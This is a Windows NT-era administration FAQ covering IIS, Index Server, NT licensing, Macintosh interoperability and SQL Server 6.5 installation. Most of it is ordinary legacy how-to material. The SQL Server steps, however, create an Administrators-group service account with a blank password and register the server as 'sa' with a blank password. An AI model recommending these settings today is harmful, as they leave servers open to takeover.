The uninstall is very clean, so if something goes wrong, remove the fix. Something new here is in letting customers know what DLL's are being replaced up front. Upon installation of the update, the file iis_hotfix.htm is dropped in the users \inetsrv directory. This file will contain all of the information about the fix and should make it very easy for PSS to determine what version of IIS the customer is using.

Download from : http://www.microsoft.com/ntserver/nts/downloads/archive/NTOPQFE/default.asp


Q. How do I specify more than one default document?

A. When you select a web site directory, e.g. http://www.ntfaq.com/games a default document is looked for, e.g. default.htm and this filename can be changed. With IIS 2.0 and 3.0 the default document is changed as follows:

  1. Start the Internet Service Manager
  2. Double click on the computer and select the web service
  3. Select the Directories tab
  4. At the bottom of the window is the default document, by default default.htm. You can specify multiple default documents by separating them with a comma, e.g.
    default.htm, default.asp, index.htm, index.html
    which will cause the IIS service to search for the documents in that order and displayed when found.
  5. Click Apply then OK

With IIS 4.0 and IIS 5.0 (both via the MMC interface) the change is performed as follows:

  1. Start the Internet Service Manager (Start - Programs - Administrative Tools - Internet Services Manager)
  2. Expand the computer and select the web site
  3. Right click on it and select Properties
  4. Select the Documents tab
  5. Check the "Enable Default Document" box and click Add to add a new default name and the order of the search can be changed by clicking the up and down arrows.
  6. Click Apply then OK


Q. How can I move my IIS server to another machine?

A. In the %systemroot%\system32\inetsrv directory there is a program called "iissync". This program will transfer over all your IIS settings to the new computer, including certificates, virtual domains, and for the most part, everything you need. Just open a dos prompt, and run "iissync \\newcomputername" and wait a bit.

The IISSYNC utility is used to synchronize Internet Information Server (IIS) metabase and Transaction Server packages on one Node with IIS on a Microsoft Cluster Server on the other Node.


Q. Front Page Search Component always returns No Documents Found running IIS4 and FP 98exts, why?

A. If Index Server is installed on IIS4, Front Page will default to use that as it's search engine.

If no catalog has been built with Index Server for that web, the search component will return "No Documents Found". Either index the site using Index Server, or in the frontpg.ini file (found in %systemroot%, e.g. d:\winnt) add "NoIndexServer=1" which defaults Front Page to use it's built in search engine instead of Index Server.


Title

Q. How to stop the NT4 Option Pack/Windows 2000 SMTP service from advertising 8bitmime?

A. Start a telnet session with the SMTP service (port 25) and enter "EHLO server-name". Note the presence of the keyword "8bitmime".

To disable the advertising of 8bitmime perform the following:

  1. Stop the SMTP service (use the Internet Information Services MMC snap-in, select SMTP Service, right click and select Stop)
  2. Make a copy of the file %systemroot%\System32\Inetsrv\metabase.bin file
    C:\> copy %systemroot%\System32\Inetsrv\metabase.bin %systemroot%\System32\Inetsrv\metabase.backup
  3. Start a command window (cmd.exe)
  4. Insert the option pack 4 CD or the Windows 2000 installation CD (depending on what you are running)
  5. Change directory to the I386 area on the option pack 4 CD or if 2000 extract the mdutil.ex_ file from the I386 directory to a temp area
    C:\> expand mdutil.ex_ c:\temp\mdutil.exe
  6. Type the following command (after moving to the temp area if Windows 2000)
    C:\> mdutil SET -path:smtpsvc -prop:36865 -utype:UT_SERVER -dtype:DWORD -attrib:INHERIT -value:0
  7. The following will be displayed:
    36865 : [IS] (DWORD) 0x0={0}
    You're adding (or changing) a property's value. The property's ID number is 36865, and you are setting the value to 0.
  8. Use the IIS MMC to start the SMTP service.

If you now telnet to the SMTP service you will notice the 8bitmime is no longer advertised.

To reverse the process, repeat steps 1 through 4, reenter the data in step 5, but this time, change the "-value:0" to "-value:1".


Q. How do I enable Index Server in Windows 2000?

A. Index Server is installed by default if you install IIS on Windows 2000. To enable perform the following:

  1. Start the Computer Management MMC snap-in on the IIS server (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Server Applications and Services branch
  3. Right click on 'Indexing Service' and select Start
  4. Click Yes to the dialog asking if it should be started whenever the computer is started

That's all, you can now configure Index Server.

By default web sites are enabled for Index Server to change right click on the site in the Internet Services Manager MMC snap-in, select Properties, select the 'Home Directory' and check/uncheck 'Index this resource'.


Q. How do I create a new Index Server catalog?

A. Index Server stores its information in catalog's and you can create multiple catalogs to store different groups of information such as web sites, directories etc.

  1. Start the Computer Management MMC snap-in on the IIS server (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Server Applications and Services branch
  3. Right click on 'Indexing Service' and select New - Catalog
  4. Enter a name for the Catalog and a location
  5. Click OK
  6. You will need to stop and restart the Index Server process for the catalog to take effect

Once added you must configure the directories that need to be indexed:

  1. Again in the Computer Management MMC, expand the catalog added, right click on Directories and select New - Directory
  2. Enter the directory and select 'Yes' to Index. Click OK
  3. The change will take effect straight away


Q. I receive an Index Server error 'Query Is Too Expensive', why?

A. If the content index is out of date, and you are executing queries that must be enumerated, you will get the above error message. To fix this problem wait until the index is up-to-date (it can be monitored through the Computer Management MMC snap-in in 2000) and perform the following steps:

  1. Edit the .idq file for the query and add the line
    CiForceUseCi=FALSE
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex
  4. Double click MaxQueryExecutionTime and set to a higher value. Click OK
  5. Double click MaxRestrictionNodes and set to a higher value. Click OK
  6. Stop and start the Index Server service


Q. I receive error 'The catalog is corrupt' when performing an Index Server search, what can I do?

A. Index Server catalogs can be caused by unsafe computer shutdowns, system crashes, or applications that write to or lock the catalog files while Index Server is active.

Normally, Index Server attempts to fix any corruption automatically; however, sometimes it is necessary to manually fix the corruption.

To do manually fix the corruption, stop and restart the Content Index service, For Index 1.x, stop and restart the World Wide Web service, under Windows 2000 start the Computer Management MMC snap-in, expand 'Server Applications and Services', right click on 'Indexing Service' and stop then start. This normally causes Index Server to rebuild the catalog.

If this does not work, stop Index Server again, locate the Catalog.wci folder, and delete the contents of the folder. This manually deletes the catalog. When you restart Index Server, the catalog is re-created.

This can also occur when a file is unfilterable and the Filter Retries is set to a number greater than 4. When this happens, the information that the filter process sends to the Content Index Service (CISVS) causes the CISVS to report that the in-memory catalog information is corrupt, even though the data on the drive is fine.

To correct set retry value to 4 or less:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex
  3. Double click FilterRetries
  4. Change to 4 or below and click OK
  5. Restart Index Server


Q. How can I stop hidden files etc. being returned by Index Server queries?

A. It is not possible to exclude an unreadable root or other file that is physically located below a readable root. A workaround is to append to the user’s restriction. For example, FrontPage roots can be removed by setting the CiRestriction in the .Idq file to the following:

CiRestriction=(%UserRestriction%) &! #vpath *-vti_*.

Its also possible to exclude certain files and combine, for example:

CiRestriction=%if FreeText eq on% $contents "%CiRestriction%" &! #vpath *\_vti_*. &! #filename *.|(txt|,hhc|,hlp|,htx|,tmp|) %else% %CiRestriction% &! #vpath *\_vti_*. &! #filename *.|(txt|,hhc|,hlp|,htx|,tmp|) %endif%

This will exclude the FrontPage specific files and any .txt, .hhc, .hlp, .htx and .tmp files.


Q. How can I control the amount of resource used by the Index service?

Q. How can I control the amount of resource used by the Index service? - Windows 2000

A. Left unchecked the Index service can grab most of the CPU time leaving a computer almost unusable. To configure the service to more reasonable levels perform the following:

  1. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the 'Server Applications and Services' branch
  3. Right click on 'Indexing Service' and select Stop
  4. Right click again and select 'Tune Performance' from the 'All Tasks' context menu item
  5. You can now alter the use of Index server and consequently the allotted resources
  6. Click OK
  7. Right click and select Start


Q. How can I stress test my IIS server?

A. Microsoft have a tool called 'Homer' (obviously watch the Simpsons to much!) which can be used to stress test all aspects of an IIS server.

"Microsoft Homer is a web stress tool that is designed to realistically simulate multiple browsers requesting pages from a web application. It was developed by web testers. We have made the tool as easy to use as possible by masking some of the complexities of web server testing. This makes the tool desirable for anyone interested in gathering performance data on their web site."

It can be downloaded from http://homer.rte.microsoft.com/ along with tutorials and more information. You can also download the Replay tool which is used to reproduce request traffic as closely as possible. It is a simulation tool that can work in conjunction with stress tools such as Microsoft Homer.


Q. How can I change the number of threads IIS uses?

A. IIS uses multiple threads to enable efficient scaling on single and multi-processor systems. By default 10 threads are used however this number can be changed but before changing you need to monitor the following items using Performance Monitor

  • Process - Thread Count - Inetinfo
  • Thread - %Processor Time - Inetino - Thread no.
  • Thread - Context Switches/sec - Inetino - Thread no.

If the IIS threads are busy nearly all the time AND the processor(s) are at maximum usage you need to consider distributing the load among other servers or adding more processors, increasing the number of threads will NOT help.

If the IIS threads are busy nearly all the time but the processor(s) are NOT at maximum usage increasing the number of threads may help.

To increase perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Inetinfo\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of MaxPoolThreads and press Enter
  5. Double click the new value and set to between 5 and 20. Never more or less. Click OK
  6. Stop and start the IIS service


Q. How can I limit bandwidth/processor usage for IIS?

A. Its possible to limit IIS web sites (on a per site basis) usage of both bandwidth and processor. This is useful if a server hosts many sites and you want to ensure no one site can use up all the resources. Processor throttling is only available in IIS 5.0.

To enable perform the following:

  1. Start the Internet Services Manager (Start - Programs - Administrative Tools - Internet Services Manager)
  2. Right click on the web site and select Properties
  3. Select the 'Performance' tab
  4. Check the 'Enable bandwidth throttling' and enter the maximum amount of bandwidth the web site may use
  5. Check the 'Enable process throttling' and enter a percentage maximum of processor time the CPU may use. If you do not check 'Enforce limits' only an event log is written when the site uses over the specified amount and you may want to check why its using so much CPU. Checking the 'Enforce limit' box will actually stop the site using more than the specified percentage.
  6. Click Apply
  7. Click OK


Q. How do I enable FTP resume?

A. IIS 5.0, the version that ships with Windows 2000 has a number of enhancements. One of which is the FTP resume mode which if a download is halted and you disconnect, upon reconnecting you will be asked if you wish to resume the download. This is very useful for downloads of large files.

This functionality does not work using the command level FTP provided with Windows NT 4.0, however software packages such as WS_FTP Pro from www.ipswitch.com allow this.

FTP Resume is turned on by default in Windows 2000 but as far as I know it is not possible in IIS 4.0 or lower.


Q. Statistics Server will not run on IIS 5.0?

A. IIS 5.0 has a "feature" which makes IIS reserve port 80 on all IP addresses which means other services cannot use the port such as statistics server.

It is possible to stop this by performing the following:

  1. Start a command prompt (cmd.exe)
  2. Move to C:\Inetpub\AdminScripts
  3. Enter the command:
    adsutil.vbs set w3svc/disablesocketpooling true
  4. A confirmation will be displayed:
    disablesocketpooling : (BOOLEAN) True
  5. Close the command window
  6. Restart the comptuer

Socket spooling should only be disabled under the following conditions

  • A low number of sites are being hosted
  • There are special security concerns
  • Another application or server has need of port 80 on an IP address


Q. How can I host multiple web sites on a single IP address?

A. A single IIS server can host multiple web sites and normally each web site is tied to a IP address however if the machine only has one IP address it can still be configured to host multiple web sites by specifying a host header name for each web site as follows (you should first ensure you have multiple DNS entries all pointing to the IP address of the machine):

  1. Start the Internet Information Services MMC snap-in (Start - Programs - Administrative Tools - Internet Information Services)
  2. Expand the server
  3. Right click on the web site and select Properties
  4. Next to the IP address (ensuring the actual IP address is selected) click the Advanced button
  5. Select the IP address entry and click Edit
  6. Enter the DNS host entry for the web site and set the port to 80, e.g. www.ntfaq.com
  7. Click OK
  8. Click OK to the main dialog
  9. Repeat for all other web sites

When the client connects the DNS name requested is passed in the header as the host name and that is what is mapped.

If the Web site requested in the host header is stopped, the client receives the default Web site. Therefore, it is recommended that an ISP use the default Web site as the ISP home page, rather than for a customer site. Multiple sites on a single Professional installation is not supported.

Also do not configure a header host name for the default web site as this may cause problems for other packages such as Proxy Server which expect the default web site to use port 80, IP address of "All Unassigned" and no host header name.


Q. How can I allow non administrators to publish to a FrontPage web site?

A. Thanks to Mike Gallo for this information.

The default installation of FrontPage Server Extensions gives only users in the Local Administrators group and the Domain Administrators groups rights to publish to the web site. If you want to allow users NOT in one of the Administrators groups rights to publish to a web site you have to explicitly add them. To add them you need to:

  1. Create the user or group (if necessary) in User Admin
  2. Open the FrontPage Server Administrator program (Start - Programs - Windows NT 4.0 Option Pack - Microsoft Internet Information Server - FrontPage Server Administrator)
  3. Select the web site in the 'Select Server or Port' window
  4. Click on the 'Security' Button
  5. And type in the User name or group name in the 'Name' field.
    The <Root Web> in the 'Web Name' field refers to the web site you have highlighted in the 'Select Server or Port' window.
    When you click on [OK] you'll get confirmation that the user/group has been added

This will change the security settings for your web site directory. If you were to check the NT Access Control List for your directory you would see the name you just added in the list


Q. How can I disable command shell from within IIS?

A. Its possible to use #exec commands from within a HTML page to enable calling commands on the web server. By default this is enabled in IIS 4.0 but DISABLED by default in IIS 5.0. The default state change was changed to prevent the running of unauthorized server-side executables. To manually set/confirm the state perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
  3. If SSIEnableCmdDirective does not exist create it of type REG_DWORD
  4. Double click SSIEnableCmdDirective value and set to TRUE to enable for FALSE to disable. Click OK
  5. Close the registry editor
  6. Stop and start the WWW service (or reboot) for the change to take effect

To stop and start from the command line perform the following:

C:\> net stop w3svc
C:\> net start w3svc


Q. How can I disable parent paths in IIS?

A. Parent paths allow you to use '..' when browsing directories and MapPaths etc enabling files in the parent directory to be used. This can give access to files that people should not have access to and so to disable perform the following:

  1. Start the Internet Services Manager (Start - Programs - Administrative Tools - Internet Services Manager)
  2. Right click on the web site and select properties
  3. Select the 'Home Directory' tab
  4. Click the 'Configuration' button under the Application Settings
  5. Select the 'App Options' tab
  6. Blank the 'Enable parent paths' box and click Apply
  7. If there are any child nodes affected they will be listed, select and click OK
  8. Click OK to all other dialog boxes

You don't need to restart the service for the change to take effect.


Q. How do I configure Index Server catalogs?

A. Index server is VERY picky about the order in which events are done with new catalogs when linked to a web site. I had this very problem when moving the NT FAQ and searches from an IDQ file were failing. The correct order of events under Index Server 2.0 are as follows:

  1. Make sure that the Web site has been created in the Internet Information Server snap-in.
  2. In the Index Server snap-in, create a new catalog. After the catalog has been created, view the properties for it.
  3. On the Web tab, select the Web site that you want to index, and click OK.
  4. Go back to the Internet Information Server snap-in, and select Properties on the Web site you are indexing.
  5. On the Home Directory tab, select the Index This Directory check box, and click OK.
  6. Stop the Index server, and then restart it. The new catalog should come online and begin indexing the new Web site.

On the Windows 2000 version perform the following:

  1. Make sure that the Web site has been created in the Internet Information Server snap-in.
  2. In the Index Server snap-in, create a new catalog. After the catalog has been created, view the properties for it. On the Tracking tab, select the Web site that you want to index from the WWW Server pull-down menu, and then click OK.
  3. Go back to the Internet Information Server snap-in, and select Properties on the Web site you are indexing.
  4. On the Home Directory tab, select the Index This Resource check box, and click OK.
  5. Stop and restart the catalog to begin indexing of the new site (if you have problems try restarting the entire index service but this should not be necessary in Windows 2000).


Q. How is NT Licensed?

A. The basic idea behind Windows NT licensing is that you purchase NT Server and license which allows you to install the software on one machine, however you cannot use the software unless you have a client license. A client license is just a piece of paper, no codes, no passwords, just a piece of paper saying you can use one more client. A client license is around US$40, which means you have to buy the NT server software (around US$650) and then US$40 times the number of clients to the machine, plus the cost of the client software and licenses!

There are two methods of licensing, per seat and per server. Per seat licensing is where each network user has a license, and allows the user to access as many/all of the servers in the enterprise. This is the most popular and cost effective method if you have two or more NT servers.

The second method, per server, also known as concurrent licensing is where licenses are purchased and "installed" on the server. For example, if you purchased 50 client licenses and installed them on the server, up-to 50 connections at a time would be allowed. If you then purchased another server, you would need to buy another 50 client licenses for connections to that server.

From the above you can see that if you have more than 2 NT Servers you will want per seat, with the exception of a machine such as an Internet service server, which would have different people connecting to the site all the time, so you would need x client licenses, where x is the maximum number of people you expect to connect at any one time.

It is possible to perform a once only conversion of per server licenses to per seat licenses.


Q. How can I view what licenses I have installed/used?

A. NT Server has a utility called License Manager that enables you to inspect the licenses and their use:

  1. Logon to the NT Server
  2. Start License Manager (Start - Programs - Administrative Tools - License Manager)
  3. Click on the Products View tab, and it displays the licenses installed and used


Q. How do I install extra licenses?

A. This method is only for Per Server

  1. Logon to the NT Server
  2. Start License Manager (Start - Programs - Administrative Tools - License Manager)
  3. Click on the Products View tab
  4. Click on "Windows NT Server"
  5. Either Right Click on Windows NT Server and select Properties, or select Properties from the License menu
  6. Click the "Server Browser" tab and select the NT server and click Edit
  7. Select Windows NT Server and click Edit
  8. Click "Add Licenses", make sure the product selected is "Windows NT Server" and enter the number of licenses and click OK
  9. Click in the "I agree" box and click OK
  10. Keep clicking OK until you are back to the main screen

For Per Seat

  1. Start License Manager
  2. Select "New License" from the License menu
  3. Select "Windows NT" as the product
  4. Using the up and down arrows increase the number of licenses
  5. Enter a comment
  6. Click OK
  7. Click in the "I agree" box and click OK


Q. How do I convert from Per Server to Per Seat?

A. This is legally a one way conversion process:

  1. Logon to the NT Server
  2. Start License Manager (Start - Programs - Administrative Tools - License Manager)
  3. Click on the Products View tab
  4. Click on "Windows NT Server"
  5. Either Right Click on Windows NT Server and select Properties, or select Properties from the License menu
  6. Click the "Server Browser" tab and select the NT server and click Edit
  7. Select Windows NT Server and click Edit
  8. Click Per Seat
  9. And say Yes to the question
  10. Click in the "I agree" box and click OK
  11. You are now using Per Seat


Q. How can I reset the License Information?

A. More information can be found in Knowledge Base article Q153140:

  1. Start the services control panel applet (Start - Settings - Control Panel - Services)
  2. Select the "License Logging Service" and click stop
  3. Start Explorer (Run - Explorer)
  4. Move to the %systemroot%/system32 directory (e.g. d:\winnt\system32)
  5. Delete Cpl.cfg which holds the purchase history
  6. Move to the Lls sub-directory of system32, and delete the file llsuser.lls and llsmap.lls if they exist
  7. Back in Services Control Panel applet, select "License Logging Service" and click Start


Q. How can I run the License Manager software on a NT Workstation?

A. The NT Workstation server tools do not include this software, however since Server and Workstation share much of the same code then you can just copy the following files from the %systemroot%/system32 directory on the server to the %systemroot%/system32 directory on the workstation

  • LLSMGR.EXE
  • LLSMGR.HLP
  • LLSRPC.DLL
  • CCFAPI32.DLL


Q. How do I add the services for Macintosh?

A. Follow the instructions below:

  1. Start up Control Panel (Start - Settings - Control Panel)
  2. Double click on Network, and select the Services Tab
  3. Click Add and select "Services for Macintosh"
  4. Put in the NT CD and click continue
  5. Click close to finish
  6. Once copying is complete the AppleTalk Protocol Properties sheet will be displayed, and you should choose which Network card it is to be bound to. If there are Macintosh currently connected then and AppleTalk zone will be displayed, if not you will need to perform the following
    - Select the Routing Tab, and check "enable routing" if you have multiple network adapters
    - For each network card you should choose the AppleTalk Phase 2 network number and default zone (which can be added by clicking the Add button at the bottom)
  7. After the configuration is completed you will be prompted to reboot your machine
  8. Once the machine has restarted you will have Macintosh file and print services.


Q. How can I read a Macintosh disk from Windows NT?

A. Mac Opener 2 by DataViz (http://www.dataviz.com/) allows Macintosh disks to be accessed by NT.

Another option is to ask the Mac user to format a floppy disk as a PC disk. Every MacOS 7.1.2 or above is shipped with "PC Exchange" Control Panel which gives you ability to read, write and format PC disks.

  1. For System 7.1 and earlier, you can also use Apple File Exchange. This is handy because you also see the hidden files
  2. The Mac must have a SuperDrive, i.e. be able to read and write 1.4 MB floppies. Early Macs (Mac Plus, many SE's, Mac II, and a few early SE-30's) lacked this feature
  3. Apple File Exchange works all the way up through MacOS 7.6.1), but conflicts with the PC Exchange Control Panel: Reboot with the Extensions OFF (Shift key down) to use PC Exchange
  4. Under MacOS 8 and up, the PC Exchange Control Panel has been renamed ";"
  5. Watch out for FAT12 and FAT16 floppies!
  6. The very best source for Mac-Windows info is at the Windows-MacOS Cooperation List http://www.darryl.com/winmacfaq/


Q. Does NT RAS support AppleTalk?

A. No, however NBT (NetBIOS over TCP/IP) protocol is available for Macintosh from http://www.thursby.com (allowing Macintosh access to NT shares over RAS or LAN connections)


Q. Can NT act as an AppleTalk client?

A. An AppleTalk protocol and client is available for NT from http://www.miramarsys.com.


Q. How can I make a Macintosh PPP connection to Windows NT RAS?

A. Information below from http://cru1.cahe.wsu.edu/mac_ras.html (reproduced as original link no longer works and its great information)

What you will need....

  • MacPPP is available through WSU IT - gopher address serval.net.wsu.edu or FTP to ftp.wsu.edu or from their website.
  • MacPPP requires MacTCP 1.1 or higher (2.0.6 is recommended), Mac OS 6.0.5 or higher, and a Hayes-compatible modem for dial-in connections. If you use OS 7.5 or higher, you already have MacTCP. If not, you will have to purchase it.

Installing MacPPP....

  1. MacPPP installer contains a System Control Panel - ConfigPPP, a System Preference file - PPP Preferences, a System Extension - PPP, and a modem init text file.
  2. OS 7.x or higher: drag and drop these files into their corresponding folders.
  3. OS 6.x: drag and drop all of these files into the System folder.
  4. Restart your Macintosh.

Configuring MacTCP...

  1. Open MacTCP control panel (Apple Menu - Control Panels - MacTCP). Click More... button near bottom of dialog box.
  2. Fill in the following information: Obtain Address = Server; Routing Information/Gateway Address = 134.121.87.254; IP Address/Subnet Mask = 255.255.248.0 (move the slider to the right until that number appears at the subnet mask field); Domain Name Server Information/Domains = cahe.wsu.edu (in first field) and wsu.edu (in second field); and IP Address = 134.121.2.54 (in first field) and 134.121.64.1 (in second field) [the default should be on the first line]. Click OK button.
  3. Select PPP icon from the MacTCP dialog box and close the window. [NOTE: If you select the PPP icon and another icon is also selected - you may have a conflict with software previously installed. You must remove the conflicting software to insure that MacTCP will function properly.]
  4. Restart your Macintosh.

Configuring MacPPP...

  1. Open Config PPP control panel (Apple Menu - Control Panels - ConfigPPP).
  2. Click and hold down the mouse button on the Server field. You will see a list of modems. Find your modem in this list. If you are in the local area (Pullman - Moscow), you should use the WSU-IT dial in instructions (which are already configured for you - so you're done. Read the documentation that came with the MacPPP installer for details on running.).
  3. If you are using the CRU_RAS server (if you are out of the local area), click the Config[uration] button. Change the phone number to the toll-free RAS number (call if you don't have it).
  4. Click Connect Script button - remove all text from script dialog window. Click OK.
  5. Click Authentication. Type your RAS userid and password. Click OK.
  6. Click Done.

Running MacPPP...

  1. To start your MacPPP, click the Open button.
  2. When the happy faces [PPP Open] are displayed in upper left corner, you're connected.
  3. You can start your applications (i.e., Telnet, Netscape, Fetch, Eudora).
  4. IMPORTANT NOTE: Once you have successfully completed the preceding steps, you should be able to simply start your network applications (Telnet, Netscape, etc.) and MacPPP will automatically start. However, often MacPPP does not close your connection when just choosing Quit from the File menu. You must go into the ConfigPPP control panel & use the Hard Close to disconnect.

Problems...

If you receive a dialog window "PPP wait timeout! Waiting on: OK", MacPPP was not able to communicate with your modem.

If you have an external modem:

    1. Is the modem powered on?
    2. Is the cable correct & attached properly?
    3. Is the modem connected to the "modem port" or "printer port" and does that match the declaration of the ConfigPPP dialog window in the Port Name?
    4. Do you have a modem cable that will CTS/RTS to work properly (i.e., hardware handshaking capability)?

If you have an internal modem:

    1. If you have not successfully used your modem with other packages, check to see if the card is correctly installed. Test in another software package.
    2. Check to see if the modem speed and port speed specified area appropriate.

Double check the modem init string. Check the Modem Init text file for additional suggestions or contact your modem vendor to ask for the recommended modem initialization string.

If that fails, then perhaps your modem is not capable of running MacPPP/MacTCP software.

General Information....

If you prefer to use FreePPP, you can download it from RockStar.Com or the WSU-IT website.

If you do not have a userid and password on our CRU_RAS server, please contact Vida Jones.


Q. I am unable to write to the Microsoft UAM folder from the Macintosh?

A. The UAM (User Authentification Module) volume that shows up by default with SFM is set to read-only for the macs (except for Administrators). To change this start File Manager (winfile.exe) or Server Manager (under NT 4.0), from the MacFile menu choose View/Modify volumes. Select the volume, and clear the "This volume is read-only". You may also change permissions by clicking properties, then permissions. Permissions for Mac Users are set separately from standard NT file permissions.


Q. Is there an Outlook (Exchange Server) client for Macintosh?

A. The latest version of Outlook for the Macintosh includes support for Mac OS 8, and was released as part of the Exchange Server 5.5 SP1 update. It runs on Macintosh 68k and PPC platforms. The full Macintosh client can be downloaded from ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/Eng/Exchg5.5/SP2/Mac/.

Outlook 8.2 for Mac is available as part of Exchange 5.5 service pack 3.


Q. What configuration is needed for Mac's to work with Proxy Server 2.0?

A. HTTP Proxy is a TCP/IP based protocol. So your machines need to have nothing more than TCP/IP. AppleShare, and Windows Networking are a layer above TCP/IP and proxy servers are not concerned with them.

Assuming that your Mac has TCP/IP, you need to do the following configuration:

1, Your Mac must have an IP address and subnet mask that allows it to see the proxy server. In my case my server's IP address is 10.0.0.2 (this is a Intranet address - a non translatable address not visible outside the network), and my Mac's IP addresses are like 10.0.0.* (where * can be anything in the range or 2 to 255) with subnet masks of 255.255.255.0 (so basically they can see any machine with IP addresses in the range of 10.0.0.2 to 10.0.0.255).

There are two ways of setting the IP addresses -

* you can manually set them on each machine. This is pretty straightforward. It is done in the TCP/IP control panel. Just make sure that you do not give the same IP address to two machines

* you can use DHCP.

In the case of DHCP, you need to have a DHCP server - you can set that up on your NT machine too (add DHCP in Network services). With DHCP, each machine gets their IP addresses assigned by the server when they start up - insuring that there are no clashes (duplicate IP #’s), and that each machine gets its own IP.

2, Your applications must be told where the proxy server is. This is pretty much the same as how you would set up you apps on the PC too. Apart from that you don't need to set up anything else for proxy services. You will need to go into IE and setup Proxy Settings (preferences); proxy should be Internal IP Address of your Proxy Server. (10.0.0.2) At This point you should be able to Browse the Internet if your Proxy is working. If not Check your socks service on the NT Server (proxy settings) and make sure you have set the ports to all ACCESS ALLOWED. (SOCKS security) GE=0.

In control panel on the Mac under TCPIP we had to modify two network cards in the drop down list at the top for this to work correctly. Your MAC be different. We had to edit the subnet (255.255.255.0) twice in order for it to stick it kept getting erased!)

IF, however, you want to access shared volumes and printers on the NT box from the Mac, you will need to set up NT Services for Macintosh (another can of worms). But this is not needed for Proxy (internet) access.


Q. I am unable to connect to the server using the Mac Outlook client, why?

A. The first point is you can't use WINS with a Mac. (unless you use a third party product, e.g. http://www.thursby.com/)

If you utilize Exchange, The connection to the Exchange server needs the resolved name of the IP address. You will need to enter the IP address for the name of your Exchange server instead of the name. It is also possible to use the Appletalk Protocol to connect to the Exchange server. Select your choice in the OL Setup.

If you utilize a Internet Providers EMAIL (POP), then enter the Internet Providers POP and SMTP servers IP address instead of the name. Replace mail.myserver.net with xxx.xxx.xxx.xxx (ip address of server).

This is because outlook supports an older version of Socks than Proxy server. The older version of Socks does not support DNS or named servers. There are ways to get around this but are far more complicated than just entering the ip address of the server.


Q. My Mac hangs if I connect to an NT share and don't have full permissions for the directory root.

A. If you are connecting from a Mac to an NT share, and you do not have full permissions on the root directory of said share, the Macintosh may lock up. The solution is to turn off the "Recent Servers/Applications" option from Control Panel.


Q. Large file copies to/from Macintosh crash NT Server, what can I do?

A. The problem that was reported to me was that when large files were copies from the server to any of the Mac-clients or from the Mac-clients to the server (about 10-15 MB). The server just crashed and the copying was not completed. If it was a folder with files inside, it just vanished, and nothing was left on the server.

The solution was to apply Service Pack 6a to the server which fixed the problem. The exact cause was unknown. It may have been a bad installation as others have reported no problems with only Service Pack 4/5 installed.

There is a known issue that an NT box, when it copies a large file, it tries to cache it in memory before it pumps it out of its network card. If more than one connection tries to copy the file, NT would eventually crash, because it ran
out of memory. Netware is unaffected by this.

Thanks to Paal-V. Hansen and Michael J.P. West


Q. How do I install SQL Server 6.5?

A. SQL Server 6.5 can be installed on NT Server 3.51 or NT Workstation 3.51 or above however if you install on a Workstation you will be limited to the number of concurrent connections and should only really use as a development box.

Before installing the software you should create a SQL Executive account that will be used to run the various SQL services

  1. Start User Manager for Domain (Start - Programs - Administrative Tools - User Manager for Domains)
  2. Select "New User" from the User menu
  3. Enter a name of SQLExecAct and a Description of "SQL Executive Account". Uncheck the "User Must Change Password at Next Logon" and check "User Cannot Change Password" and "Password Never Expires". Leave the password blank
  4. Click the Groups button and add the Administrators group. Click OK
  5. Click the Add button then click Close
  6. Select "User Rights" from the Policies menu
  7. Check the "Show Advanced User Rights"
  8. Select "Log on as a service" and click Add
  9. Select SQLExecAct and click Add. Click OK
  10. Click OK to close the main User Rights dialog box
  11. Close User Manager for Domains

SQL Executive Account
- Example of the SQL Executive Account

Once the account has been created you can start the actual SQL 6.5 installation

  1. Login as an Administrator on the machine
  2. Insert the SQL installation CD-ROM
  3. Move the the I386 directory of the SQL directory
  4. Double click on SETUP.EXE which will start the installation procedure
  5. Click Continue to the welcome dialog box
  6. Enter your name, company and Product ID. Click Continue
  7. Click Continue to the display dialog showing the information just entered.
  8. Check the "Install SQL Server and Utilities" and click Continue
  9. Choose your licensing mode and click Continue
  10. Check the installation drive and directory is correct and click Continue
  11. Chose your Master device drive and location. This is used to store several critical system database's. Click Continue
  12. Select the books option and click Continue
  13. Choose the Installation options for Character Sets, Sort order etc. by clicking the relevant button. Once complete click Continue. Common character set is "ISO Character Set". You can also select for the SQL service and SQL Executive Service to automatically start at bootup time. This can be changed at a later date.
  14. Choose the SQL Executive Account (the one created) and click Continue (leave password blank)
  15. The installation will then continue without asking more questions (this may take up to 10 minutes depending on your hardware)
  16. At the end click the "Exit to Windows NT" button

You now have an SQL Server, now how do you use it? :-)


Q. How do I install SQL Server 6.5?

Q. How do I register a SQL Server with SQL Enterprise Manager?

A. Before you can control a SQL Server with the Enterprise Manager you first need to register it. If you are running for the first time perform the following:

  1. Make sure the SQL Server service has been started (Start - Settings - Control Panel - Services - MSSQLServer - Start)
  2. Start the SQL Enterprise Manager (Start - Programs - Microsoft SQL Server 6.5 - SQL Enterprise Manager)
  3. Enter the computers name in the Server box (check using Network control panel applet, or right click on Network Neighbourhood and select Properties).
  4. In the Login ID box enter sa which is the default SQL Administrator, leave password blank.
  5. Click Register
  6. Click Close

Register SQL Server
- Registering an SQL Server

The SQL Server will now be visible from the main control window.

If you have used SQL Enterprise Manager before and want to add a new server just right click on SQL 6.5 in Enterprise Manager and select "Register Server" from the context menu.


Q. How can stop and start the SQL services?

A. SQL has three services

  • MSSQLServer
  • SQLExecutive
  • MSDTC

The MSSQLServer service controls if the SQL Server is running and allows logons/transactions. The SQLExecutive service is used for alerts, scheduling and other management tasks.

MSDTC is the Distributed Transaction Coordinator and is used for consistency between server transactions and is beyond the scope of the FAQ.

These services can both be stopped/started from the Services control panel applet and you can also configure them to automatically start at bootup time by selecting one of them, clicking Startup and set to Automatic. Repeat for the other service.

To stop/start from the command line use

C:\> net stop MSSQLServer
